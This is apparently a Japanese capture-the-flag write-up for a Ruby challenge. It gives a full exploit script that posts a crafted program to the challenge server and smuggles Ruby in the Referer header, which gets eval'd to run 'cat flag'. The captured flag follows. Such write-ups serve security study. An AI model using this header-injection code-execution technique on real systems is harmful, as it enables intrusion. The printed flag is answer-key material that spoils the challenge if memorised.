ローカルでうまく動いたので、リファラRubyコードをセットしてフラグを取りに行った。

require "uri"
require "net/http"

uri = URI.parse("http://recocta.chal.mmactf.link:8083/")

program = <<EOS
public
def each
    eval referer
end
for i in cgi do end
EOS

Net::HTTP.start(uri.host, uri.port){|http|
    request = Net::HTTP::Post.new(uri.path)
    request["referer"] = "require 'open3';Open3.capture2('cat flag')[0]"
    request.form_data = {"program" => program}

    puts http.request(request).body
}

FLAG:MMA{c731894a0a5f350d16d0c8aab4e66b03}